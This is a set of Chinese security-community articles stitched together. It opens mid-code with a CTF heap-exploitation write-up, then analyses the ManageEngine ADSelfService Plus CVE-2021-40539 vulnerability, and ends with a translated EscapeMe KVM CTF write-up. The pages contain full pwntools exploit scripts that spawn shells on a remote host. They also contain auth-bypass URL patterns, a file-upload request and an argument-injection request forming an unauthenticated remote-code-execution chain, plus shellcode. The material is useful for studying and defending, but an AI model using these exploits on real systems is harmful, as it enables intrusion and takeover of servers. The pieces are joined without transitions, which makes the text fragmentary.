v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( atoi(&buf) )
{
case 1:
add();
break;
case 2:
check();
break;
case 3:
del();
break;
case 4:
clean();
break;
case 5:
puts("BaiBai~");
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
}
主要有四个功能函数
add函数，用来创建chunk，一进入该函数就先创建了一个大小为0x28的chunk
我们给他命名为chunk_init
接着再由用户指定的size创建chunk
chunk_init[0]存放了一个标记数，用0和1表示用户的申请的chunk的状态，如果是free状态则为0
chunk_init[1]存放了用户申请的chunk的指针
chunk_init[2]存放了一段字符串
int add()
{
void *v0; // rsi
size_t size; // [rsp+0h] [rbp-20h]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
LODWORD(size) = 0;
if ( animalcount > 0x63 )
return puts("The cage is overflow");
s = malloc(0x28uLL);
memset(s, 0, 0x28uLL);
printf("Length of the name :", 0LL, size);
if ( __isoc99_scanf("%u", &size) == -1 )
exit(-1);
buf = malloc(size);
if ( !buf )
{
puts("Alloca error !!");
exit(-1);
}
printf("The name of animal :", &size, size);
v0 = buf;
read(0, buf, size);
*(s + 1) = buf;
printf("The kind of the animal :", v0, size);
__isoc99_scanf("%23s", s + 16);
*s = 1; // chunk：s
// s[0]--->1
// s[1]--->buf
// s[2]--->kind_of_animal
//
for ( HIDWORD(size) = 0; HIDWORD(size) <= 0x63; ++HIDWORD(size) )
{
if ( !*(&animallist + HIDWORD(size)) )
{
*(&animallist + HIDWORD(size)) = s;
break;
}
}
++animalcount;
return puts("Successful !");
}
check函数的功能就是输出各个chunk的内容了，直接遍历animallist，也就是存放各个chunk_init指针的一个数组
如果chunk_init指针非空并且chunk_init[0]也就是那个标记数也非空，则打印出chunk_init[1]也就是用户申请的chunk的内容
int check()
{
__int64 v0; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]
LODWORD(v0) = animalcount;
if ( animalcount )
{
for ( i = 0; i <= 0x63; ++i )
{
v0 = *(&animallist + i);
if ( v0 )
{
LODWORD(v0) = **(&animallist + i);
if ( v0 )
{
printf("Name of the animal[%u] :%s\n", i, *(*(&animallist + i) + 1));
LODWORD(v0) = printf("Kind of the animal[%u] :%s\n", i, *(&animallist + i) + 16);
}
}
}
}
else
{
LODWORD(v0) = puts("No animal in the cage !");
}
return v0;
}
del函数是将用户申请的chunk给free掉，并且将chunk_init[0]的内容修改成0，表示已被删除
int del()
{
int result; // eax
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !animalcount )
return puts("No animal in the cage");
printf("Which animal do you want to remove from the cage:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x63 && *(&animallist + v1) )
{
**(&animallist + v1) = 0;
free(*(*(&animallist + v1) + 1));
result = puts("Successful");
}
else
{
puts("Invalid choice");
result = 0;
}
return result;
}
而clean函数则是将chunk_init给free掉并且在animallist中把相应的指针清空
需要注意的是，必须先执行了del函数，clean函数才能发挥作用，因为有个对chunk_init[0]标志数的检验，只有为0的时候才会执行下面的free操作
int clean()
{
unsigned int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 0x63; ++i )
{
if ( *(&animallist + i) && !**(&animallist + i) )
{
free(*(&animallist + i));
*(&animallist + i) = 0LL;
--animalcount;
}
}
return puts("Done!");
}
理清楚上面各个函数的逻辑后，就可以开始着手做题了
解题的思路如下：
* 首先通过unsorted_bin，free掉一个chunk，让它进入unsorted_bin表，使得fd指向表头，然后通过泄漏出的地址，通过一顿偏移的操作，泄漏出malloc_hook的地址，进而泄漏出libc的基址
* 利用double-free，使得下一个新创建的chunk会落在malloc_hook上，改变新chunk的内容也就是改变了malloc_hook的内容
* 同时free一个chunk两次，就会触发malloc_printer报错，接着也会调用mallo_hook，如果了malloc_hook的内容为[onegadget](https://github.com/david942j/one_gadget)，在报错过程中就会改变程序执行流程进而去执行onegadget，getshell
ps：这里需要注意的是，在构造double-free的时候，需要注意绕过他的检验，使得fd+0x08指向的数值是0x70~0x7f的，fd指向pre_size位，fd+0x08则指向了size位。具体原理可见：
[fastbin-double-free](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#fastbin-double-free)
这题的wp还可以参考hitcon-training的lab12，网上很大佬都写过
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn6"
context.binary=bin_elf
libc = ELF("./libc64.so")
#libc = elf.libc
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("43.254.3.203",10006)
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#------------------------------------- def create(size,name,kind):
sla(p,"Your choice : ","1")
sla(p,"Length of the name :",str(size))
sda(p,"The name of animal :",name)
sla(p,"The kind of the animal :",kind)
def show():
sla(p,"Your choice : ","2")
def delete(index):
sla(p,"Your choice : ","3")
sla(p,"Which animal do you want to remove from the cage:",str(index))
def clean():
sla(p,"Your choice : ","4")
#debug()
create(0x80,"a"*8,"x"*0x08)
create(0x80,"a"*8,"x"*0x08)
delete(0)
clean()
#这里需要注意，delet完以后还得clean保证一个character中的两个chunk都被free了
#否则下面新创建chunk的时候会导致分配不到跟原先一样的指针
create(0x80,"\xff"*8,"x"*0x10)
show()
ru("\xff"*8)
leak = u64(p.recv(6).ljust(8,"\x00"))
malloc_hook = leak-0x58-0x10
libc_base = malloc_hook-libc.symbols["__malloc_hook"]
one = libc_base+0xf02a4 # 真实,只能用这个one gadget
fd = malloc_hook-0x23
#该0x23为调试所得，具体可以在gdb中查看内存找到，能绕过double-free的检测机制即可
print "libc_base--->"+hex(libc_base)
print "leak--->"+hex(leak)
print "malloc_hook--->"+hex(malloc_hook)
create(0x68,"a"*0x30,"a"*0x10)#2
create(0x68,"b"*0x30,"b"*0x10)#3
create(0x68,"c"*0x30,"c"*0x10)#4
create(0x68,"d"*0x30,"d"*0x10)#5
delete(2)
delete(3)
delete(2)
pause()
create(0x68,p64(fd),"c"*0x10)#2
pause()
create(0x68,"c"*0x30,"c"*0x10)#3
pause()
create(0x68,"ccc","c"*0x10)#2
pause()
create(0x68,"a"*0x13+p64(one),"c"*0x10)#2
pause()
delete(0)
delete(0)
getshell()
# int_overflow_pwn
这题是主要是一个整数溢出的漏洞，题目本来应该比较简单，但是由于IDA反编译的原因出现的伪c代码很奇怪，比较难分析
保护机制照旧：
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序逻辑：
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
void *v4; // rsp
int v6; // [rsp+Ch] [rbp-24h]
void *dest; // [rsp+10h] [rbp-20h]
unsigned int v8; // [rsp+1Ch] [rbp-14h]
_DWORD *v9; // [rsp+20h] [rbp-10h]
void *buf; // [rsp+28h] [rbp-8h]
v6 = argc;
init_stdio();
puts("welcome.....");
v3 = alloca(32LL);
buf = (16 * ((&v6 + 3) >> 4));
read(0, (16 * ((&v6 + 3) >> 4)), 0xCuLL);
v9 = buf;
if ( *buf != 0x6E696B53 || v9[1] != 1 )
{
puts("some thing wrong");
}
else
{
v8 = v9[2] + 32;
v4 = alloca(16 * ((v8 + 30) / 0x10));
dest = (16 * ((&v6 + 3) >> 4));
memcpy((16 * ((&v6 + 3) >> 4)), buf, 0xCuLL);
read(0, dest + 12, v9[2]);
handle_data();
}
return 0;
}
首先向buf中输入12个字节
得保证，buf[0]=0x6E696B53,buf[1]=0x1
才能进入else中的分支
接着
v4 = alloca(16 * ((buf[2] + 30) / 0x10));
最后
read(0, dest + 12, v9[2])
可以看到，这个read的字节数是我们控制的，而alloc的大小会等于16 * ((buf[2] + 30) / 0x10)
可以看到，alloc的空间大小也是受buf[2]控制的
我们只要构造一个buf[2]=0xffffffff就可以造成很大的输入字节，同时由于负数溢出，又可以使得alloc申请的空间较小，就容易造成栈溢出了
但是这个栈溢出的偏移不好找
需要看一下程序的汇编：
.text:00000000004007BC ; 16: v9 = buf;
.text:00000000004007BC mov rax, [rbp+buf]
.text:00000000004007C0 mov [rbp+v9], rax
.text:00000000004007C4 ; 17: if ( *buf != 0x6E696B53 || v9[1] != 1 )
.text:00000000004007C4 mov rax, [rbp+v9]
.text:00000000004007C8 mov eax, [rax]
.text:00000000004007CA cmp eax, 6E696B53h
.text:00000000004007CF jnz loc_400875
.text:00000000004007D5 mov rax, [rbp+v9]
.text:00000000004007D9 mov eax, [rax+4]
.text:00000000004007DC cmp eax, 1
.text:00000000004007DF jnz loc_400875
.text:00000000004007E5 ; 23: v8 = v9[2] + 32;
.text:00000000004007E5 mov rax, [rbp+v9]
.text:00000000004007E9 mov eax, [rax+8]
.text:00000000004007EC add eax, 20h
.text:00000000004007EF mov [rbp+v8], eax
.text:00000000004007F2 ; 24: v4 = alloca(16 * ((v8 + 30) / 0x10));
.text:00000000004007F2 mov eax, [rbp+v8]
.text:00000000004007F5 lea rdx, [rax+0Fh]
.text:00000000004007F9 mov eax, 10h
.text:00000000004007FE sub rax, 1
.text:0000000000400802 add rax, rdx
.text:0000000000400805 mov esi, 10h
.text:000000000040080A mov edx, 0
.text:000000000040080F div rsi
.text:0000000000400812 imul rax, 10h
.text:0000000000400816 sub rsp, rax
.text:0000000000400819 mov rax, rsp
.text:000000000040081C add rax, 0Fh
.text:0000000000400820 shr rax, 4
.text:0000000000400824 ; 25: dest = (16 * ((&v6 + 3) >> 4));
.text:0000000000400824 shl rax, 4
.text:0000000000400828 mov [rbp+dest], rax
.text:000000000040082C ; 26: memcpy((16 * ((&v6 + 3) >> 4)), buf, 0xCuLL);
.text:000000000040082C mov rcx, [rbp+buf]
.text:0000000000400830 mov rax, [rbp+dest]
.text:0000000000400834 mov edx, 0Ch ; n
.text:0000000000400839 mov rsi, rcx ; src
.text:000000000040083C mov rdi, rax ; dest
.text:000000000040083F call _memcpy
通过汇编可以看到，dest的地址是存放在rax中的，于是进入gdb调试在0x400824的地方下个断点
接着c一下，会停在断点处：
再si一下，让完成 shl rax, 0x4指令，这时可以得到dest的地址，从而计算dest到rbp的偏移，而由于
read(0, dest + 12, v9[2]);
因此这个偏移需要再减去12
于是覆盖至ret的偏移量就是0x7c了
知道偏移量后，就很简单了
1. 构造rop，首先泄漏libc，再跳转回main函数
2. 利用第二次栈溢出执行system(/bin/sh)
如果对rop不是很了解的话可以参考以下学习：
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/)
[一步一步学ROP之linux_x86篇](http://www.vuln.cn/6645)
[一步一步学ROP之linux_x64篇](http://www.vuln.cn/6644)
[ctf-all-in-one](https://github.com/firmianay/CTF-All-In-One/blob/master/doc/3.1.4_rop_x86.md)
exp:
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn7"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc64.so")
#libc = elf.libc
if sys.argv[1] == "r":
p = remote("43.254.3.203","10007")
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
def getshell():
p.interactive()
#------------------------------------- pop_rdi=0x00000000004008f3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x40074a
#debug()
payload = p32(0x6E696B53)+p32(0x1)+p32(0xffffffff)
ru("welcome.....\n")
sd(payload)
pause()
payload = "a"*0x7c
payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload += p64(main)#返回main函数第二次执行
p.send(payload)
pause()
leak = u64(p.recvuntil("\x7f").ljust(8, "\x00"))
libc_base = leak - libc.symbols['puts']
binsh = libc_base+libc.search("/bin/sh\x00").next()
system = libc_base+libc.symbols['system']
print "libc_base---->"+hex(libc_base)
print "system---->"+hex(system)
print "binsh---->"+hex(binsh)
pause()
print "--------------------------hacking------------"
payload = p32(0x6E696B53)+p32(0x1)+p32(0xffffffff)
ru("welcome.....\n")
sd(payload)
pause()
payload = "a"*0x7c
payload += p64(pop_rdi)+p64(binsh)+p64(system)
payload += p64(0xdeadbeef)
sd(payload)
getshell() | 社区文章 |
# ManageEngine ADSelfService Plus CVE-2021-40539 漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
ZOHO ManageEngine ADSelfService Plus是美国卓豪（ZOHO）公司的针对 Active Directory
和云应用程序的集成式自助密码管理和单点登录解决方案。允许最终用户执行密码重置，帐户解锁和配置文件信息更新等任务，而不依赖于帮助台。ADSelfService
Plus提供密码自助重置/解锁，密码到期提醒，自助服务目录更新程序，多平台密码同步器以及云应用程序的单点登录。
该漏洞可以在没有用户密码的情况下，获取服务器的底层权限。笔者打算从环境搭建、漏洞分析、漏洞利用等角度展开研究。
## 0x01 漏洞简介
CVE-2021-40539漏洞利用了三个漏洞的组合，首先使用权限绕过漏洞，其次通过文件上传漏洞把恶意类上传到bin目录，最后利用参数注入把类路径和类名传给可执行程序，从而实现未认证命令执行漏洞，该漏洞存在于6113及之前版本。
## 0x02 环境搭建
### 0x1 服务搭建
安装过程很简单，在官网下载带有本次漏洞的安装软件ManageEngine_ADSelfService_Plus_64bit_6113，把安装程序放在Win7虚拟机上，点击执行后进行傻瓜式安装。安装成功后可以访问到开放的Web服务
### 0x2 调试
在ADSelfService Plus的bin目录下存在着服务的启动脚本
我们在该脚本中添加IDEA的调试参数，如下所示
set JAVA_OPTS=%JAVA_OPTS% -DHTTP_PORT=8888 -DSSL_PORT=9251
set JAVA_OPTS=%JAVA_OPTS% -Xmx256m
set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
最后执行run.bat，如下图所示开启对应的调试端口
## 0x03 漏洞分析
在分析该cve的时候笔者思考过几个问题
1.认证绕过漏洞在正常的代码审计过程中如何发现
2.文件上传漏洞隐藏的这么深是如何一步一步挖掘出来的
3.windows环境下Java命令执行的方式有哪些
### 0x1 认证绕过的深入思考
笔者有思考过为什么是/RestAPI路由存在认证绕过漏洞，然而/ServletAPI或/api/json等路由不存在类似的问题。带着这个问题笔者开始在配置文件及代码中寻找答案。
笔者分析的Filter类关系图如下
ApplicationFilterChain就是我们经常提到的FilterChain，它的doFilter函数把servlet对应的Filter以数组的形式存储在了内存中，数组元素类型为ApplicationFilterConfig，通过该类的getFilter方法获取对应的Filter。
首先笔者梳理了web.xml的相关配置，发现了各种servlet以及Filter配置，因为有太多的servlet笔者只选择性的列了几个servlet对应的路由
/RestAPI/
/api/json/
/ServletAPI/
/IDMSSOSAMLAuthenticator
/IDMOAuthSSOAuthenticator
/sso/oauth/
/accounts/
...
对应的filter是这么设计的，在解析filter-mapping时根据路由servlet添加filter处理类，比如解析到如下配置时com.adventnet.iam.security.SecurityFilter就会被加入到以下路由对应的servlet中
Filter对应的处理类如下图所示
下面两个filterChain分别是ServletAPI和RestAPI两个路由在实际请求处理过程中的生成的
本次漏洞的路由为RestAPI，总共经过以下六个Filter的处理，此次漏洞就出现在ADSFilter代码中
AssociateCredential
CAPFilter
EncodingFilter
METrackFilter
ADSFilter
Tomcat WebSocket Filter
在每个Filter实现类中都有doSubFilters函数，如果该Filter此函数返回值为false那么就会跳出循环，不会进行下面的Filter处理，Filter结束后就会进行正常servlet分发流程。因此如果想要实现认证绕过必须让ADSFilter返回值为true
### 0x2 ADSFilter隐患
一旦把注意力放在审计ADSFilter代码上，笔者认为会很快找到脆弱点，在分析时正常发送/RestAPI请求包，使用调试的方法确定是哪一块代码做的权限校验。最后定位到如下逻辑
简单概括为RestAPIUtil.isRestAPIRequest判断是否是/RestAPI路由，RestAPIFilter.doAction判断是否有正确的权限，那么有个思路可以绕过该检验，只需让他判断发送的请求不是/RestAPI，最后还是到了RestAPI对应的servlet进行处理即可。这就需要好好审一审RestAPIUtil.isRestAPIRequest的代码逻辑
public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
String restApiUrlPattern = "/RestAPI/.*";
try {
restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);//restApiUrlPatter= RestAPI/.*|/ServletAPI/mfa/.*
} catch (Exception var5) {
out.log(Level.INFO, "Unable to get API_URL_PATTERN.", var5);
}
String reqURI = request.getRequestURI();// 获取发送来的url
String contextPath = request.getContextPath() != null ? request.getContextPath() : "";
reqURI = reqURI.replace(contextPath, ""); //这句话实际没有用
reqURI = reqURI.replace("//", "/"); //替换//为/
return Pattern.matches(restApiUrlPattern, reqURI);
}
仔细分析如果包含以下字符，都将绕过
/./
/.///
///.///
/.//.///
/../
/;/
/accounts/umcp/..;/..;/
### 0x3 文件上传
实现认证绕过之后，就要梳理其中的漏洞点。
**1\. 漏洞点溯源**
通过搜索FileOutputStream关键函数，可以定位到getFileFromRequest函数。
继续寻找那里有调用FileActionHandler类的getFileFromRequest方法的地方
SmartCardAction类有相应的调用
但是这些代码都不知道如何通过web http请求访问到，还是需要继续向上溯源。
第一个LogonCustomization在struts-config.xml中配置了该路由对应的类
找到前端访问URL后分析LogonCustomization
**2\. 构造漏洞触发数据包**
通过研究struts-config.xml配置文件
<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>
该配置中的parameter字段决定了LogonCustomization类的哪个方法，比如该漏洞出现在unspecified方法，根据struts的代码逻辑
只需给methodToCall参数赋值，struts就会根据请求自动分发给类方法，该参数可以使用GET或者POST方式发送。
POST /accounts/umcp/..;/..;/RestAPI/LogonCustomization?methodToCall=unspecified HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------cd7472fc6949cbf4
Te: trailers
Connection: close
Content-Length: 541
-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="Save"
yes
-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="form"
smartcard
-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="operation"
Add
-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream
what's the pppp
-----------------------------cd7472fc6949cbf4--
**3\. 文件上传效果**
该文件上传漏洞会把文件写在ADSelfService项目的bin目录下，并且使用../目录穿越并不生效。因此可以初步判断，该文件上传为特定目录下的任意文件内容上传。
为什么目录穿越没有成功，相关代码如下
按照逻辑formFile.getFileName只会获取文件名
目前来看，无法通过上传文件实现ADSelfService Plus的控制。
### 0x4 命令执行
命令执行漏洞主要还是关注Java中能够执行命令的函数
**1\. 漏洞点溯源**
Binary file .//lib/AdventNetADSMServer/com/adventnet/sym/adsm/common/server/util/RunCmd.class matches
Binary file .//lib/AdventNetADSMServer/com/adventnet/sym/adsm/common/server/util/CommonUtil.class matches
Binary file .//lib/AdventNetADSMServer/com/adventnet/sym/adsm/common/server/ADHandler.class matches
Binary file .//lib/ManageEngineADSFStartup/com/manageengine/ads/startup/util/StartupUtil.class matches
Binary file .//lib/ManageEngineADSFStartup/com/manageengine/ads/startup/util/RegistryUtil.class matches
Binary file .//lib/ManageEngineADSFStartup/com/manageengine/ads/startup/trayicon/TrayIconManager.class matches
相当于找到了命令执行的封装函数，继续搜索有谁调用过该封装函数
刚好在SSLUtil类中就使用了该函数，继续研究该命令执行有没有可以控制的参数。
**2\. 参数注入漏洞**
通过分析发现大部分参数都使用ClientUtil.keyToolEscape函数过滤，即使可以传入一些命令执行字符串大概率不会被执行，因为底层使用了Runtime.getRuntime().exec函数执行命令，该函数使用空格分割获取参数。
查看该命令执行参数有没有可以利用的点，在命令行直接执行help，发现了两个比较感兴趣的参数-providerpath和-providerclass，如果结合之前的文件上传，指定类名和加载路径就能实现类加载。
**3\. 配合文件上传漏洞**
明确了命令执行方式后，就很简单了。
1.首先编译带有命令执行的类
2.上传该类class文件
3.利用参数注入，加载该类到JVM，并触发静态方法
import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("calc");
}catch (IOException e){}
}
public static void main(String[] args) {
}
}
使用javac编译java源码，并通过burp将文件发送给服务器
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"
## 0x4 总结
跟踪学习完这个漏洞之后，有些挖洞感想。在分析认证绕过的时候一定要尽可能的把主业务之前的代码都认认真真的审计一遍，有条件的话可以单步跟踪下。至于文件上传和命令执行其实很大程度上还是依靠搜索敏感函数，以及敏感函数溯源。漏洞挖掘一方面需要积累挖掘方法，另一方面要想办法把积累的方法活灵活现的应用在下一个挖掘目标上。
## 参考文章
<https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html>
<https://forum.butian.net/share/876>
<https://xz.aliyun.com/t/10529> | 社区文章 |
原文：<https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html>
这里要介绍的，是我见过的最好的KVM
(基于内核的虚拟机)挑战题目！在此，我要特别感谢[@shift_crops](https://twitter.com/shift_crops
"@shift_crops")为我们带来了一个如此迷人的挑战题目。随着赛事的结束，他已经公布了EscapeMe的[源代码](https://github.com/shift-crops/EscapeMe "源代码")。
对于这些公布的文件，读者可以从作者的[repo](https://github.com/shift-crops/EscapeMe
"repo")中下载，其中包括4个二进制文件、2个文本文件和1个python脚本。
此外，读者还可以从本人的CTF-writes [repo](https://github.com/david942j/ctf-writeups/tree/master/twctf-2018/EscapeMe "repo") 中找到相关的3个漏洞利用脚本。
**简介**
* * *
这个挑战涉及3个二进制文件，分别是kvm.elf、kernel.bin和memo-static.elf。
同时，该挑战中还有3个旗标，它们分别需要借助位于用户空间、内核空间和宿主机模拟器（kvm.elf）中的shellcode来获取。
首先，在shell中键入./kvm.elf kernel.bin memo-static.elf命令，将看到一个普通的pwn挑战界面：
kvm.elf是一个模拟器（与qemu-system类似），它是通过KVM（利用Linux内核实现的VM）进行模拟的。
kernel.bin实现了一个非常小的内核，能够加载静态ELF二进制文件和一些系统调用。
memo-static.elf是一个普通的ELF文件，实现了一个简单的内存管理系统。
由于源代码已在作者的[存储库](https://github.com/shift-crops/EscapeMe/
"存储库")中发布，所以，本文仅涉及我用到的漏洞，而不是整个挑战中的所有漏洞。
**EscapeMe1：用户空间**
* * *
memo-static.elf是一个静态链接的二进制文件，所以，我们不妨先过一遍checksec：
好吧，对于这个挑战来说，checksec没有什么用处，因为执行这个二进制文件的“内核”是在kernel.bin中实现的，它禁用了针对可执行文件的所有现代保护措施。因此，这里既没有ASLR，也没有NX（所有节都是可执行的），所以，我们只要能够控制rip，就能随心所欲了。
**漏洞分析**
* * *
实际上，这是一个“老洞”。在Alloc函数中，我们可以添加一个内存块（在堆上），最多可以添加0x28字节的数据，之后，我们可以设法通过Edit编辑每个内存块的内容，其中实现编辑操作的代码为：
read(0, memo[id].data, strlen(memo[id].data));
如果该内存快恰好有0x28字节的非空数据，那么上面的操作会越界读取下一个块中的内容。
**漏洞利用**
* * *
虽然这是一个简单的堆溢出挑战，但是其中的内存分配不是由我们熟悉的glibc库中的ptmalloc函数完成的。虽然这里的malloc/free的机制与ptmalloc函数的非常相似，但是却少了tcache和fastbin。
我们决定在伪造的数据块上使用unlink攻击，具体如下图所示:
|-----------------------------|
| | 0x31 |
(*ptr) -> | | 0x51 | <- fake chunk size
| ptr - 0x18 | ptr - 0x10 |
|-----------------------------|
| | 0x31 |
| BBBBBBBB | BBBBBBBB |
| BBBBBBBB | BBBBBBBB |
|-----------------------------|
forge prev size -> | 0x50 | 0x30 | <- overflow, clear prev_in_use bit
| CCCCCCCC | CCCCCCCC |
| CCCCCCCC | CCCCCCCC |
|-----------------------------|
当编辑块B时将发生堆溢出，将下一个块的大小从0x31改为0x30，同时，还提供了一个正确的prev_size值（0x50）。
然后，我们通过Delete函数删除（释放）块C，这样的话，它就释放的内存就会与前面的（伪造的）块合并，从而调用unlink。因此，原先指向堆的*ptr现在将指向ptr-0x18。
在此之后，虽然几乎可以执行任意的写入操作，但是，它还是面临一个很大的局限性，因为，我们只能写入同一个长度的数据（具体原因，请回想一下Edit的实现）。所以，我们无法直接修改堆栈上的数据（地址为0x7fffffffxx，比堆地址0x606000“更长”）。这个问题困惑了我一段时候，但是，后来我终于想出了一个解决方案：
1. 修改（位于0x604098处的）top_chunk的指针，让它指向0x604038
2. 这里之所以选择0x604038，因为0x604040处还存储了某些值，这样，我们可以在malloc函数运行期间绕过大小检查
3. 使用Alloc函数向栈申请3次内存，第3个内存块将通过malloc分配堆中top_chunk本身所处的内存，然后我们再次伪造top_chunk并让它指向堆栈地址
4. 再次通过Alloc分配内存，调用malloc在堆上分配内存，从而伪造返回地址。
剩下的事情，就是用准备好的shellcode控制rip，让它指向堆，以读取更多的shellcode并执行之。
然后，我就被卡在这里啦??
是的，我可以设法让shellcode执行，但问题是旗标在哪儿呢？
好吧，由于我坚信必须通过代码执行漏洞才能黑掉接下来的攻击面（内核和模拟器），所以，我决定在搞清楚如何找到flag1之前，先去设法利用这个二进制文件。
经过一些逆向分析之后发现，在kernel.bin中实现了一个特殊的系统调用，编号为0x10c8。该系统调用会将旗标复制到一个只写内存页：
uint64_t sys_getflag(void){
uint64_t addr;
char flag[] = "Here is first flag : "FLAG1;
addr = mmap_user(0, 0x1000, PROT_WRITE);
copy_to_user(addr, flag, sizeof(flag));
mprotect_user(addr, 0x1000, PROT_NONE);
return addr;
}
所以，我们只需要调用该syscall，利用mprotect将该页面标记为可读，并输出其内容即可。
shellcode = asm('''
mov rax, 0x10c8
syscall
mov rbp, rax
''' + shellcraft.mprotect('rbp', 0x1000, 6) + shellcraft.write(1, 'rbp', 60))
我在比赛期间使用的脚本，可以从我的[github repo](https://github.com/david942j/ctf-writeups/blob/master/twctf-2018/EscapeMe/exp1.py "github repo")中下载。
实际上，我没有注意到这里也禁用了NX，所以利用ROP来mmap了一个新的内存页，用于放置shellcode。这就是链接中的脚本比我描述的更加复杂的原因。
Flag1:
TWCTF{fr33ly_3x3cu73_4ny_5y573m_c4ll}
**EscapeMe2：内核空间**
* * *
kernel.bin包含三个部分：
1. 实现一个简单的execve来解析和加载用户二进制文件
2. 实现一个MMU表，将虚拟内存映射到物理内存
3. 实现系统调用，包括：read、write、mmap、munmap、mprotect、brk、exit和get_flag（用于EscapeMe1）
我和队友花了很多时间在内存相关的操作中寻找漏洞，这些操作包括mmap、munmap和MMU的实现，不过，这完全就是一个错误的策略??
我们的目标，当然是内核级shellcode。同时，因为如果虚拟地址可以被用户空间访问，自己实现的MMU表就会标记一个比特位，所以，我们不能通过用户空间的shellcode来覆盖内核的代码。
**漏洞分析**
* * *
正如前面的提示所言，内存管理中存在一个漏洞。
该漏洞是由模拟器和内核之间的ABI不一致引起的。在模拟器中有一个自己实现的内存分配器，palloc和pfree，并且内核误用了pfree方法。
在调用mmap(vaddr, len, perm) 系统调用时，内核将：
1. 通过hyper-call palloc(0, len)获取长度为len的物理地址paddr
2. 设置MMU表，将vaddr映射到paddr，并在其上标记权限位。在设置期间，可能会多次调用palloc(0, 0x1000)（取决于vaddr是否创建了相应的条目）
3. 返回vaddr
在调用 munmap(vaddr, len) 系统调用时，内核将：
* 将vaddr映射到paddr
* 超级调用for(i=0 ~ len >> 12) pfree(paddr + (i << 12), 0x1000);
这里没有漏洞。
在模拟器中，pfree(addr, len)根本不关心参数len（它的函数原型是pfree(void*)）。
因此，如果内存的addr的长度为0x2000，则调用munmap(addr, 0x1000)，在内核中只有第一页被取消映射，而在模拟器中所有内存都将被释放！
为了更好的理解这一点，请参阅之前的代码：
shellcode = asm(
mmap(0x7fff1ffc000, 0x2000) +
munmap(0x7fff1ffc000, 0x1000) +
mmap(0x217000, 0x1000)
)
该shellcode被执行后，用户仍然可以访问0x7fff1ffc000 +
0x1000处的内存，不过，它现在将指向映射0x217000期间由paclloc处理的MMU表项！
**漏洞利用**
* * *
